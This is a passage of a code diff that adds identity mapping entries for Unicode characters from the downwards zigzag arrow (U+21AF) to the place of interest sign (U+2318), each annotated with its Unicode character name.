+ ["\u21AF", "\u21AF"], /* DOWNWARDS ZIGZAG ARROW (DOWN ZIGZAG ARROW) */
+ ["\u21B0", "\u21B0"], /* UPWARDS ARROW WITH TIP LEFTWARDS (UP ARROW WITH TIP LEFT) */
+ ["\u21B1", "\u21B1"], /* UPWARDS ARROW WITH TIP RIGHTWARDS (UP ARROW WITH TIP RIGHT) */
+ ["\u21B2", "\u21B2"], /* DOWNWARDS ARROW WITH TIP LEFTWARDS (DOWN ARROW WITH TIP LEFT) */
+ ["\u21B3", "\u21B3"], /* DOWNWARDS ARROW WITH TIP RIGHTWARDS (DOWN ARROW WITH TIP RIGHT) */
+ ["\u21B4", "\u21B4"], /* RIGHTWARDS ARROW WITH CORNER DOWNWARDS (RIGHT ARROW WITH CORNER DOWN) */
+ ["\u21B5", "\u21B5"], /* DOWNWARDS ARROW WITH CORNER LEFTWARDS (DOWN ARROW WITH CORNER LEFT) */
+ ["\u21B6", "\u21B6"], /* ANTICLOCKWISE TOP SEMICIRCLE ARROW */
+ ["\u21B7", "\u21B7"], /* CLOCKWISE TOP SEMICIRCLE ARROW */
+ ["\u21B8", "\u21B8"], /* NORTH WEST ARROW TO LONG BAR (UPPER LEFT ARROW TO LONG BAR) */
+ ["\u21B9", "\u21B9"], /* LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR (LEFT ARROW TO BAR OVER RIGHT ARROW TO BAR) */
+ ["\u21BA", "\u21BA"], /* ANTICLOCKWISE OPEN CIRCLE ARROW */
+ ["\u21BB", "\u21BB"], /* CLOCKWISE OPEN CIRCLE ARROW */
+ ["\u21BC", "\u21BC"], /* LEFTWARDS HARPOON WITH BARB UPWARDS (LEFT HARPOON WITH BARB UP) */
+ ["\u21BD", "\u21BD"], /* LEFTWARDS HARPOON WITH BARB DOWNWARDS (LEFT HARPOON WITH BARB DOWN) */
+ ["\u21BE", "\u21BE"], /* UPWARDS HARPOON WITH BARB RIGHTWARDS (UP HARPOON WITH BARB RIGHT) */
+ ["\u21BF", "\u21BF"], /* UPWARDS HARPOON WITH BARB LEFTWARDS (UP HARPOON WITH BARB LEFT) */
+ ["\u21C0", "\u21C0"], /* RIGHTWARDS HARPOON WITH BARB UPWARDS (RIGHT HARPOON WITH BARB UP) */
+ ["\u21C1", "\u21C1"], /* RIGHTWARDS HARPOON WITH BARB DOWNWARDS (RIGHT HARPOON WITH BARB DOWN) */
+ ["\u21C2", "\u21C2"], /* DOWNWARDS HARPOON WITH BARB RIGHTWARDS (DOWN HARPOON WITH BARB RIGHT) */
+ ["\u21C3", "\u21C3"], /* DOWNWARDS HARPOON WITH BARB LEFTWARDS (DOWN HARPOON WITH BARB LEFT) */
+ ["\u21C4", "\u21C4"], /* RIGHTWARDS ARROW OVER LEFTWARDS ARROW (RIGHT ARROW OVER LEFT ARROW) */
+ ["\u21C5", "\u21C5"], /* UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW (UP ARROW LEFT OF DOWN ARROW) */
+ ["\u21C6", "\u21C6"], /* LEFTWARDS ARROW OVER RIGHTWARDS ARROW (LEFT ARROW OVER RIGHT ARROW) */
+ ["\u21C7", "\u21C7"], /* LEFTWARDS PAIRED ARROWS (LEFT PAIRED ARROWS) */
+ ["\u21C8", "\u21C8"], /* UPWARDS PAIRED ARROWS (UP PAIRED ARROWS) */
+ ["\u21C9", "\u21C9"], /* RIGHTWARDS PAIRED ARROWS (RIGHT PAIRED ARROWS) */
+ ["\u21CA", "\u21CA"], /* DOWNWARDS PAIRED ARROWS (DOWN PAIRED ARROWS) */
+ ["\u21CB", "\u21CB"], /* LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON (LEFT HARPOON OVER RIGHT HARPOON) */
+ ["\u21CC", "\u21CC"], /* RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON (RIGHT HARPOON OVER LEFT HARPOON) */
+ ["\u21CD", "\u21CD"], /* LEFTWARDS DOUBLE ARROW WITH STROKE (LEFT DOUBLE ARROW WITH STROKE) */
+ ["\u21CE", "\u21CE"], /* LEFT RIGHT DOUBLE ARROW WITH STROKE */
+ ["\u21CF", "\u21CF"], /* RIGHTWARDS DOUBLE ARROW WITH STROKE (RIGHT DOUBLE ARROW WITH STROKE) */
+ ["\u21D0", "\u21D0"], /* LEFTWARDS DOUBLE ARROW (LEFT DOUBLE ARROW) */
+ ["\u21D1", "\u21D1"], /* UPWARDS DOUBLE ARROW (UP DOUBLE ARROW) */
+ ["\u21D2", "\u21D2"], /* RIGHTWARDS DOUBLE ARROW (RIGHT DOUBLE ARROW) */
+ ["\u21D3", "\u21D3"], /* DOWNWARDS DOUBLE ARROW (DOWN DOUBLE ARROW) */
+ ["\u21D4", "\u21D4"], /* LEFT RIGHT DOUBLE ARROW */
+ ["\u21D5", "\u21D5"], /* UP DOWN DOUBLE ARROW */
+ ["\u21D6", "\u21D6"], /* NORTH WEST DOUBLE ARROW (UPPER LEFT DOUBLE ARROW) */
+ ["\u21D7", "\u21D7"], /* NORTH EAST DOUBLE ARROW (UPPER RIGHT DOUBLE ARROW) */
+ ["\u21D8", "\u21D8"], /* SOUTH EAST DOUBLE ARROW (LOWER RIGHT DOUBLE ARROW) */
+ ["\u21D9", "\u21D9"], /* SOUTH WEST DOUBLE ARROW (LOWER LEFT DOUBLE ARROW) */
+ ["\u21DA", "\u21DA"], /* LEFTWARDS TRIPLE ARROW (LEFT TRIPLE ARROW) */
+ ["\u21DB", "\u21DB"], /* RIGHTWARDS TRIPLE ARROW (RIGHT TRIPLE ARROW) */
+ ["\u21DC", "\u21DC"], /* LEFTWARDS SQUIGGLE ARROW (LEFT SQUIGGLE ARROW) */
+ ["\u21DD", "\u21DD"], /* RIGHTWARDS SQUIGGLE ARROW (RIGHT SQUIGGLE ARROW) */
+ ["\u21DE", "\u21DE"], /* UPWARDS ARROW WITH DOUBLE STROKE (UP ARROW WITH DOUBLE STROKE) */
+ ["\u21DF", "\u21DF"], /* DOWNWARDS ARROW WITH DOUBLE STROKE (DOWN ARROW WITH DOUBLE STROKE) */
+ ["\u21E0", "\u21E0"], /* LEFTWARDS DASHED ARROW (LEFT DASHED ARROW) */
+ ["\u21E1", "\u21E1"], /* UPWARDS DASHED ARROW (UP DASHED ARROW) */
+ ["\u21E2", "\u21E2"], /* RIGHTWARDS DASHED ARROW (RIGHT DASHED ARROW) */
+ ["\u21E3", "\u21E3"], /* DOWNWARDS DASHED ARROW (DOWN DASHED ARROW) */
+ ["\u21E4", "\u21E4"], /* LEFTWARDS ARROW TO BAR (LEFT ARROW TO BAR) */
+ ["\u21E5", "\u21E5"], /* RIGHTWARDS ARROW TO BAR (RIGHT ARROW TO BAR) */
+ ["\u21E6", "\u21E6"], /* LEFTWARDS WHITE ARROW (WHITE LEFT ARROW) */
+ ["\u21E7", "\u21E7"], /* UPWARDS WHITE ARROW (WHITE UP ARROW) */
+ ["\u21E8", "\u21E8"], /* RIGHTWARDS WHITE ARROW (WHITE RIGHT ARROW) */
+ ["\u21E9", "\u21E9"], /* DOWNWARDS WHITE ARROW (WHITE DOWN ARROW) */
+ ["\u21EA", "\u21EA"], /* UPWARDS WHITE ARROW FROM BAR (WHITE UP ARROW FROM BAR) */
+ ["\u21EB", "\u21EB"], /* UPWARDS WHITE ARROW ON PEDESTAL */
+ ["\u21EC", "\u21EC"], /* UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR */
+ ["\u21ED", "\u21ED"], /* UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR */
+ ["\u21EE", "\u21EE"], /* UPWARDS WHITE DOUBLE ARROW */
+ ["\u21EF", "\u21EF"], /* UPWARDS WHITE DOUBLE ARROW ON PEDESTAL */
+ ["\u21F0", "\u21F0"], /* RIGHTWARDS WHITE ARROW FROM WALL */
+ ["\u21F1", "\u21F1"], /* NORTH WEST ARROW TO CORNER */
+ ["\u21F2", "\u21F2"], /* SOUTH EAST ARROW TO CORNER */
+ ["\u21F3", "\u21F3"], /* UP DOWN WHITE ARROW */
+ ["\u21F4", "\u21F4"], /* RIGHT ARROW WITH SMALL CIRCLE */
+ ["\u21F5", "\u21F5"], /* DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW */
+ ["\u21F6", "\u21F6"], /* THREE RIGHTWARDS ARROWS */
+ ["\u21F7", "\u21F7"], /* LEFTWARDS ARROW WITH VERTICAL STROKE */
+ ["\u21F8", "\u21F8"], /* RIGHTWARDS ARROW WITH VERTICAL STROKE */
+ ["\u21F9", "\u21F9"], /* LEFT RIGHT ARROW WITH VERTICAL STROKE */
+ ["\u21FA", "\u21FA"], /* LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u21FB", "\u21FB"], /* RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u21FC", "\u21FC"], /* LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u21FD", "\u21FD"], /* LEFTWARDS OPEN-HEADED ARROW */
+ ["\u21FE", "\u21FE"], /* RIGHTWARDS OPEN-HEADED ARROW */
+ ["\u21FF", "\u21FF"], /* LEFT RIGHT OPEN-HEADED ARROW */
+ ["\u2200", "\u2200"], /* FOR ALL */
+ ["\u2201", "\u2201"], /* COMPLEMENT */
+ ["\u2202", "\u2202"], /* PARTIAL DIFFERENTIAL */
+ ["\u2203", "\u2203"], /* THERE EXISTS */
+ ["\u2204", "\u2204"], /* THERE DOES NOT EXIST */
+ ["\u2205", "\u2205"], /* EMPTY SET */
+ ["\u2206", "\u2206"], /* INCREMENT */
+ ["\u2207", "\u2207"], /* NABLA */
+ ["\u2208", "\u2208"], /* ELEMENT OF */
+ ["\u2209", "\u2209"], /* NOT AN ELEMENT OF */
+ ["\u220A", "\u220A"], /* SMALL ELEMENT OF */
+ ["\u220B", "\u220B"], /* CONTAINS AS MEMBER */
+ ["\u220C", "\u220C"], /* DOES NOT CONTAIN AS MEMBER */
+ ["\u220D", "\u220D"], /* SMALL CONTAINS AS MEMBER */
+ ["\u220E", "\u220E"], /* END OF PROOF */
+ ["\u220F", "\u220F"], /* N-ARY PRODUCT */
+ ["\u2210", "\u2210"], /* N-ARY COPRODUCT */
+ ["\u2211", "\u2211"], /* N-ARY SUMMATION */
+ ["\u2212", "\u2212"], /* MINUS SIGN */
+ ["\u2213", "\u2213"], /* MINUS-OR-PLUS SIGN */
+ ["\u2214", "\u2214"], /* DOT PLUS */
+ ["\u2215", "\u2215"], /* DIVISION SLASH */
+ ["\u2216", "\u2216"], /* SET MINUS */
+ ["\u2217", "\u2217"], /* ASTERISK OPERATOR */
+ ["\u2218", "\u2218"], /* RING OPERATOR */
+ ["\u2219", "\u2219"], /* BULLET OPERATOR */
+ ["\u221A", "\u221A"], /* SQUARE ROOT */
+ ["\u221B", "\u221B"], /* CUBE ROOT */
+ ["\u221C", "\u221C"], /* FOURTH ROOT */
+ ["\u221D", "\u221D"], /* PROPORTIONAL TO */
+ ["\u221E", "\u221E"], /* INFINITY */
+ ["\u221F", "\u221F"], /* RIGHT ANGLE */
+ ["\u2220", "\u2220"], /* ANGLE */
+ ["\u2221", "\u2221"], /* MEASURED ANGLE */
+ ["\u2222", "\u2222"], /* SPHERICAL ANGLE */
+ ["\u2223", "\u2223"], /* DIVIDES */
+ ["\u2224", "\u2224"], /* DOES NOT DIVIDE */
+ ["\u2225", "\u2225"], /* PARALLEL TO */
+ ["\u2226", "\u2226"], /* NOT PARALLEL TO */
+ ["\u2227", "\u2227"], /* LOGICAL AND */
+ ["\u2228", "\u2228"], /* LOGICAL OR */
+ ["\u2229", "\u2229"], /* INTERSECTION */
+ ["\u222A", "\u222A"], /* UNION */
+ ["\u222B", "\u222B"], /* INTEGRAL */
+ ["\u222C", "\u222C"], /* DOUBLE INTEGRAL */
+ ["\u222D", "\u222D"], /* TRIPLE INTEGRAL */
+ ["\u222E", "\u222E"], /* CONTOUR INTEGRAL */
+ ["\u222F", "\u222F"], /* SURFACE INTEGRAL */
+ ["\u2230", "\u2230"], /* VOLUME INTEGRAL */
+ ["\u2231", "\u2231"], /* CLOCKWISE INTEGRAL */
+ ["\u2232", "\u2232"], /* CLOCKWISE CONTOUR INTEGRAL */
+ ["\u2233", "\u2233"], /* ANTICLOCKWISE CONTOUR INTEGRAL */
+ ["\u2234", "\u2234"], /* THEREFORE */
+ ["\u2235", "\u2235"], /* BECAUSE */
+ ["\u2236", "\u2236"], /* RATIO */
+ ["\u2237", "\u2237"], /* PROPORTION */
+ ["\u2238", "\u2238"], /* DOT MINUS */
+ ["\u2239", "\u2239"], /* EXCESS */
+ ["\u223A", "\u223A"], /* GEOMETRIC PROPORTION */
+ ["\u223B", "\u223B"], /* HOMOTHETIC */
+ ["\u223C", "\u223C"], /* TILDE OPERATOR */
+ ["\u223D", "\u223D"], /* REVERSED TILDE */
+ ["\u223E", "\u223E"], /* INVERTED LAZY S */
+ ["\u223F", "\u223F"], /* SINE WAVE */
+ ["\u2240", "\u2240"], /* WREATH PRODUCT */
+ ["\u2241", "\u2241"], /* NOT TILDE */
+ ["\u2242", "\u2242"], /* MINUS TILDE */
+ ["\u2243", "\u2243"], /* ASYMPTOTICALLY EQUAL TO */
+ ["\u2244", "\u2244"], /* NOT ASYMPTOTICALLY EQUAL TO */
+ ["\u2245", "\u2245"], /* APPROXIMATELY EQUAL TO */
+ ["\u2246", "\u2246"], /* APPROXIMATELY BUT NOT ACTUALLY EQUAL TO */
+ ["\u2247", "\u2247"], /* NEITHER APPROXIMATELY NOR ACTUALLY EQUAL TO */
+ ["\u2248", "\u2248"], /* ALMOST EQUAL TO */
+ ["\u2249", "\u2249"], /* NOT ALMOST EQUAL TO */
+ ["\u224A", "\u224A"], /* ALMOST EQUAL OR EQUAL TO */
+ ["\u224B", "\u224B"], /* TRIPLE TILDE */
+ ["\u224C", "\u224C"], /* ALL EQUAL TO */
+ ["\u224D", "\u224D"], /* EQUIVALENT TO */
+ ["\u224E", "\u224E"], /* GEOMETRICALLY EQUIVALENT TO */
+ ["\u224F", "\u224F"], /* DIFFERENCE BETWEEN */
+ ["\u2250", "\u2250"], /* APPROACHES THE LIMIT */
+ ["\u2251", "\u2251"], /* GEOMETRICALLY EQUAL TO */
+ ["\u2252", "\u2252"], /* APPROXIMATELY EQUAL TO OR THE IMAGE OF */
+ ["\u2253", "\u2253"], /* IMAGE OF OR APPROXIMATELY EQUAL TO */
+ ["\u2254", "\u2254"], /* COLON EQUALS (COLON EQUAL) */
+ ["\u2255", "\u2255"], /* EQUALS COLON (EQUAL COLON) */
+ ["\u2256", "\u2256"], /* RING IN EQUAL TO */
+ ["\u2257", "\u2257"], /* RING EQUAL TO */
+ ["\u2258", "\u2258"], /* CORRESPONDS TO */
+ ["\u2259", "\u2259"], /* ESTIMATES */
+ ["\u225A", "\u225A"], /* EQUIANGULAR TO */
+ ["\u225B", "\u225B"], /* STAR EQUALS */
+ ["\u225C", "\u225C"], /* DELTA EQUAL TO */
+ ["\u225D", "\u225D"], /* EQUAL TO BY DEFINITION */
+ ["\u225E", "\u225E"], /* MEASURED BY */
+ ["\u225F", "\u225F"], /* QUESTIONED EQUAL TO */
+ ["\u2260", "\u2260"], /* NOT EQUAL TO */
+ ["\u2261", "\u2261"], /* IDENTICAL TO */
+ ["\u2262", "\u2262"], /* NOT IDENTICAL TO */
+ ["\u2263", "\u2263"], /* STRICTLY EQUIVALENT TO */
+ ["\u2264", "\u2264"], /* LESS-THAN OR EQUAL TO (LESS THAN OR EQUAL TO) */
+ ["\u2265", "\u2265"], /* GREATER-THAN OR EQUAL TO (GREATER THAN OR EQUAL TO) */
+ ["\u2266", "\u2266"], /* LESS-THAN OVER EQUAL TO (LESS THAN OVER EQUAL TO) */
+ ["\u2267", "\u2267"], /* GREATER-THAN OVER EQUAL TO (GREATER THAN OVER EQUAL TO) */
+ ["\u2268", "\u2268"], /* LESS-THAN BUT NOT EQUAL TO (LESS THAN BUT NOT EQUAL TO) */
+ ["\u2269", "\u2269"], /* GREATER-THAN BUT NOT EQUAL TO (GREATER THAN BUT NOT EQUAL TO) */
+ ["\u226A", "\u226A"], /* MUCH LESS-THAN (MUCH LESS THAN) */
+ ["\u226B", "\u226B"], /* MUCH GREATER-THAN (MUCH GREATER THAN) */
+ ["\u226C", "\u226C"], /* BETWEEN */
+ ["\u226D", "\u226D"], /* NOT EQUIVALENT TO */
+ ["\u226E", "\u226E"], /* NOT LESS-THAN (NOT LESS THAN) */
+ ["\u226F", "\u226F"], /* NOT GREATER-THAN (NOT GREATER THAN) */
+ ["\u2270", "\u2270"], /* NEITHER LESS-THAN NOR EQUAL TO (NEITHER LESS THAN NOR EQUAL TO) */
+ ["\u2271", "\u2271"], /* NEITHER GREATER-THAN NOR EQUAL TO (NEITHER GREATER THAN NOR EQUAL TO) */
+ ["\u2272", "\u2272"], /* LESS-THAN OR EQUIVALENT TO (LESS THAN OR EQUIVALENT TO) */
+ ["\u2273", "\u2273"], /* GREATER-THAN OR EQUIVALENT TO (GREATER THAN OR EQUIVALENT TO) */
+ ["\u2274", "\u2274"], /* NEITHER LESS-THAN NOR EQUIVALENT TO (NEITHER LESS THAN NOR EQUIVALENT TO) */
+ ["\u2275", "\u2275"], /* NEITHER GREATER-THAN NOR EQUIVALENT TO (NEITHER GREATER THAN NOR EQUIVALENT TO) */
+ ["\u2276", "\u2276"], /* LESS-THAN OR GREATER-THAN (LESS THAN OR GREATER THAN) */
+ ["\u2277", "\u2277"], /* GREATER-THAN OR LESS-THAN (GREATER THAN OR LESS THAN) */
+ ["\u2278", "\u2278"], /* NEITHER LESS-THAN NOR GREATER-THAN (NEITHER LESS THAN NOR GREATER THAN) */
+ ["\u2279", "\u2279"], /* NEITHER GREATER-THAN NOR LESS-THAN (NEITHER GREATER THAN NOR LESS THAN) */
+ ["\u227A", "\u227A"], /* PRECEDES */
+ ["\u227B", "\u227B"], /* SUCCEEDS */
+ ["\u227C", "\u227C"], /* PRECEDES OR EQUAL TO */
+ ["\u227D", "\u227D"], /* SUCCEEDS OR EQUAL TO */
+ ["\u227E", "\u227E"], /* PRECEDES OR EQUIVALENT TO */
+ ["\u227F", "\u227F"], /* SUCCEEDS OR EQUIVALENT TO */
+ ["\u2280", "\u2280"], /* DOES NOT PRECEDE */
+ ["\u2281", "\u2281"], /* DOES NOT SUCCEED */
+ ["\u2282", "\u2282"], /* SUBSET OF */
+ ["\u2283", "\u2283"], /* SUPERSET OF */
+ ["\u2284", "\u2284"], /* NOT A SUBSET OF */
+ ["\u2285", "\u2285"], /* NOT A SUPERSET OF */
+ ["\u2286", "\u2286"], /* SUBSET OF OR EQUAL TO */
+ ["\u2287", "\u2287"], /* SUPERSET OF OR EQUAL TO */
+ ["\u2288", "\u2288"], /* NEITHER A SUBSET OF NOR EQUAL TO */
+ ["\u2289", "\u2289"], /* NEITHER A SUPERSET OF NOR EQUAL TO */
+ ["\u228A", "\u228A"], /* SUBSET OF WITH NOT EQUAL TO (SUBSET OF OR NOT EQUAL TO) */
+ ["\u228B", "\u228B"], /* SUPERSET OF WITH NOT EQUAL TO (SUPERSET OF OR NOT EQUAL TO) */
+ ["\u228C", "\u228C"], /* MULTISET */
+ ["\u228D", "\u228D"], /* MULTISET MULTIPLICATION */
+ ["\u228E", "\u228E"], /* MULTISET UNION */
+ ["\u228F", "\u228F"], /* SQUARE IMAGE OF */
+ ["\u2290", "\u2290"], /* SQUARE ORIGINAL OF */
+ ["\u2291", "\u2291"], /* SQUARE IMAGE OF OR EQUAL TO */
+ ["\u2292", "\u2292"], /* SQUARE ORIGINAL OF OR EQUAL TO */
+ ["\u2293", "\u2293"], /* SQUARE CAP */
+ ["\u2294", "\u2294"], /* SQUARE CUP */
+ ["\u2295", "\u2295"], /* CIRCLED PLUS */
+ ["\u2296", "\u2296"], /* CIRCLED MINUS */
+ ["\u2297", "\u2297"], /* CIRCLED TIMES */
+ ["\u2298", "\u2298"], /* CIRCLED DIVISION SLASH */
+ ["\u2299", "\u2299"], /* CIRCLED DOT OPERATOR */
+ ["\u229A", "\u229A"], /* CIRCLED RING OPERATOR */
+ ["\u229B", "\u229B"], /* CIRCLED ASTERISK OPERATOR */
+ ["\u229C", "\u229C"], /* CIRCLED EQUALS */
+ ["\u229D", "\u229D"], /* CIRCLED DASH */
+ ["\u229E", "\u229E"], /* SQUARED PLUS */
+ ["\u229F", "\u229F"], /* SQUARED MINUS */
+ ["\u22A0", "\u22A0"], /* SQUARED TIMES */
+ ["\u22A1", "\u22A1"], /* SQUARED DOT OPERATOR */
+ ["\u22A2", "\u22A2"], /* RIGHT TACK */
+ ["\u22A3", "\u22A3"], /* LEFT TACK */
+ ["\u22A4", "\u22A4"], /* DOWN TACK */
+ ["\u22A5", "\u22A5"], /* UP TACK */
+ ["\u22A6", "\u22A6"], /* ASSERTION */
+ ["\u22A7", "\u22A7"], /* MODELS */
+ ["\u22A8", "\u22A8"], /* TRUE */
+ ["\u22A9", "\u22A9"], /* FORCES */
+ ["\u22AA", "\u22AA"], /* TRIPLE VERTICAL BAR RIGHT TURNSTILE */
+ ["\u22AB", "\u22AB"], /* DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE */
+ ["\u22AC", "\u22AC"], /* DOES NOT PROVE */
+ ["\u22AD", "\u22AD"], /* NOT TRUE */
+ ["\u22AE", "\u22AE"], /* DOES NOT FORCE */
+ ["\u22AF", "\u22AF"], /* NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE */
+ ["\u22B0", "\u22B0"], /* PRECEDES UNDER RELATION */
+ ["\u22B1", "\u22B1"], /* SUCCEEDS UNDER RELATION */
+ ["\u22B2", "\u22B2"], /* NORMAL SUBGROUP OF */
+ ["\u22B3", "\u22B3"], /* CONTAINS AS NORMAL SUBGROUP */
+ ["\u22B4", "\u22B4"], /* NORMAL SUBGROUP OF OR EQUAL TO */
+ ["\u22B5", "\u22B5"], /* CONTAINS AS NORMAL SUBGROUP OR EQUAL TO */
+ ["\u22B6", "\u22B6"], /* ORIGINAL OF */
+ ["\u22B7", "\u22B7"], /* IMAGE OF */
+ ["\u22B8", "\u22B8"], /* MULTIMAP */
+ ["\u22B9", "\u22B9"], /* HERMITIAN CONJUGATE MATRIX */
+ ["\u22BA", "\u22BA"], /* INTERCALATE */
+ ["\u22BB", "\u22BB"], /* XOR */
+ ["\u22BC", "\u22BC"], /* NAND */
+ ["\u22BD", "\u22BD"], /* NOR */
+ ["\u22BE", "\u22BE"], /* RIGHT ANGLE WITH ARC */
+ ["\u22BF", "\u22BF"], /* RIGHT TRIANGLE */
+ ["\u22C0", "\u22C0"], /* N-ARY LOGICAL AND */
+ ["\u22C1", "\u22C1"], /* N-ARY LOGICAL OR */
+ ["\u22C2", "\u22C2"], /* N-ARY INTERSECTION */
+ ["\u22C3", "\u22C3"], /* N-ARY UNION */
+ ["\u22C4", "\u22C4"], /* DIAMOND OPERATOR */
+ ["\u22C5", "\u22C5"], /* DOT OPERATOR */
+ ["\u22C6", "\u22C6"], /* STAR OPERATOR */
+ ["\u22C7", "\u22C7"], /* DIVISION TIMES */
+ ["\u22C8", "\u22C8"], /* BOWTIE */
+ ["\u22C9", "\u22C9"], /* LEFT NORMAL FACTOR SEMIDIRECT PRODUCT */
+ ["\u22CA", "\u22CA"], /* RIGHT NORMAL FACTOR SEMIDIRECT PRODUCT */
+ ["\u22CB", "\u22CB"], /* LEFT SEMIDIRECT PRODUCT */
+ ["\u22CC", "\u22CC"], /* RIGHT SEMIDIRECT PRODUCT */
+ ["\u22CD", "\u22CD"], /* REVERSED TILDE EQUALS */
+ ["\u22CE", "\u22CE"], /* CURLY LOGICAL OR */
+ ["\u22CF", "\u22CF"], /* CURLY LOGICAL AND */
+ ["\u22D0", "\u22D0"], /* DOUBLE SUBSET */
+ ["\u22D1", "\u22D1"], /* DOUBLE SUPERSET */
+ ["\u22D2", "\u22D2"], /* DOUBLE INTERSECTION */
+ ["\u22D3", "\u22D3"], /* DOUBLE UNION */
+ ["\u22D4", "\u22D4"], /* PITCHFORK */
+ ["\u22D5", "\u22D5"], /* EQUAL AND PARALLEL TO */
+ ["\u22D6", "\u22D6"], /* LESS-THAN WITH DOT (LESS THAN WITH DOT) */
+ ["\u22D7", "\u22D7"], /* GREATER-THAN WITH DOT (GREATER THAN WITH DOT) */
+ ["\u22D8", "\u22D8"], /* VERY MUCH LESS-THAN (VERY MUCH LESS THAN) */
+ ["\u22D9", "\u22D9"], /* VERY MUCH GREATER-THAN (VERY MUCH GREATER THAN) */
+ ["\u22DA", "\u22DA"], /* LESS-THAN EQUAL TO OR GREATER-THAN (LESS THAN EQUAL TO OR GREATER THAN) */
+ ["\u22DB", "\u22DB"], /* GREATER-THAN EQUAL TO OR LESS-THAN (GREATER THAN EQUAL TO OR LESS THAN) */
+ ["\u22DC", "\u22DC"], /* EQUAL TO OR LESS-THAN (EQUAL TO OR LESS THAN) */
+ ["\u22DD", "\u22DD"], /* EQUAL TO OR GREATER-THAN (EQUAL TO OR GREATER THAN) */
+ ["\u22DE", "\u22DE"], /* EQUAL TO OR PRECEDES */
+ ["\u22DF", "\u22DF"], /* EQUAL TO OR SUCCEEDS */
+ ["\u22E0", "\u22E0"], /* DOES NOT PRECEDE OR EQUAL */
+ ["\u22E1", "\u22E1"], /* DOES NOT SUCCEED OR EQUAL */
+ ["\u22E2", "\u22E2"], /* NOT SQUARE IMAGE OF OR EQUAL TO */
+ ["\u22E3", "\u22E3"], /* NOT SQUARE ORIGINAL OF OR EQUAL TO */
+ ["\u22E4", "\u22E4"], /* SQUARE IMAGE OF OR NOT EQUAL TO */
+ ["\u22E5", "\u22E5"], /* SQUARE ORIGINAL OF OR NOT EQUAL TO */
+ ["\u22E6", "\u22E6"], /* LESS-THAN BUT NOT EQUIVALENT TO (LESS THAN BUT NOT EQUIVALENT TO) */
+ ["\u22E7", "\u22E7"], /* GREATER-THAN BUT NOT EQUIVALENT TO (GREATER THAN BUT NOT EQUIVALENT TO) */
+ ["\u22E8", "\u22E8"], /* PRECEDES BUT NOT EQUIVALENT TO */
+ ["\u22E9", "\u22E9"], /* SUCCEEDS BUT NOT EQUIVALENT TO */
+ ["\u22EA", "\u22EA"], /* NOT NORMAL SUBGROUP OF */
+ ["\u22EB", "\u22EB"], /* DOES NOT CONTAIN AS NORMAL SUBGROUP */
+ ["\u22EC", "\u22EC"], /* NOT NORMAL SUBGROUP OF OR EQUAL TO */
+ ["\u22ED", "\u22ED"], /* DOES NOT CONTAIN AS NORMAL SUBGROUP OR EQUAL */
+ ["\u22EE", "\u22EE"], /* VERTICAL ELLIPSIS */
+ ["\u22EF", "\u22EF"], /* MIDLINE HORIZONTAL ELLIPSIS */
+ ["\u22F0", "\u22F0"], /* UP RIGHT DIAGONAL ELLIPSIS */
+ ["\u22F1", "\u22F1"], /* DOWN RIGHT DIAGONAL ELLIPSIS */
+ ["\u22F2", "\u22F2"], /* ELEMENT OF WITH LONG HORIZONTAL STROKE */
+ ["\u22F3", "\u22F3"], /* ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ ["\u22F4", "\u22F4"], /* SMALL ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ ["\u22F5", "\u22F5"], /* ELEMENT OF WITH DOT ABOVE */
+ ["\u22F6", "\u22F6"], /* ELEMENT OF WITH OVERBAR */
+ ["\u22F7", "\u22F7"], /* SMALL ELEMENT OF WITH OVERBAR */
+ ["\u22F8", "\u22F8"], /* ELEMENT OF WITH UNDERBAR */
+ ["\u22F9", "\u22F9"], /* ELEMENT OF WITH TWO HORIZONTAL STROKES */
+ ["\u22FA", "\u22FA"], /* CONTAINS WITH LONG HORIZONTAL STROKE */
+ ["\u22FB", "\u22FB"], /* CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ ["\u22FC", "\u22FC"], /* SMALL CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE */
+ ["\u22FD", "\u22FD"], /* CONTAINS WITH OVERBAR */
+ ["\u22FE", "\u22FE"], /* SMALL CONTAINS WITH OVERBAR */
+ ["\u22FF", "\u22FF"], /* Z NOTATION BAG MEMBERSHIP */
+ ["\u2300", "\u2300"], /* DIAMETER SIGN */
+ ["\u2301", "\u2301"], /* ELECTRIC ARROW */
+ ["\u2302", "\u2302"], /* HOUSE */
+ ["\u2303", "\u2303"], /* UP ARROWHEAD */
+ ["\u2304", "\u2304"], /* DOWN ARROWHEAD */
+ ["\u2305", "\u2305"], /* PROJECTIVE */
+ ["\u2306", "\u2306"], /* PERSPECTIVE */
+ ["\u2307", "\u2307"], /* WAVY LINE */
+ ["\u2308", "\u2308"], /* LEFT CEILING */
+ ["\u2309", "\u2309"], /* RIGHT CEILING */
+ ["\u230A", "\u230A"], /* LEFT FLOOR */
+ ["\u230B", "\u230B"], /* RIGHT FLOOR */
+ ["\u230C", "\u230C"], /* BOTTOM RIGHT CROP */
+ ["\u230D", "\u230D"], /* BOTTOM LEFT CROP */
+ ["\u230E", "\u230E"], /* TOP RIGHT CROP */
+ ["\u230F", "\u230F"], /* TOP LEFT CROP */
+ ["\u2310", "\u2310"], /* REVERSED NOT SIGN */
+ ["\u2311", "\u2311"], /* SQUARE LOZENGE */
+ ["\u2312", "\u2312"], /* ARC */
+ ["\u2313", "\u2313"], /* SEGMENT */
+ ["\u2314", "\u2314"], /* SECTOR */
+ ["\u2315", "\u2315"], /* TELEPHONE RECORDER */
+ ["\u2316", "\u2316"], /* POSITION INDICATOR */
+ ["\u2317", "\u2317"], /* VIEWDATA SQUARE */
+ ["\u2318", "\u2318"], /* PLACE OF INTEREST SIGN (COMMAND KEY) */
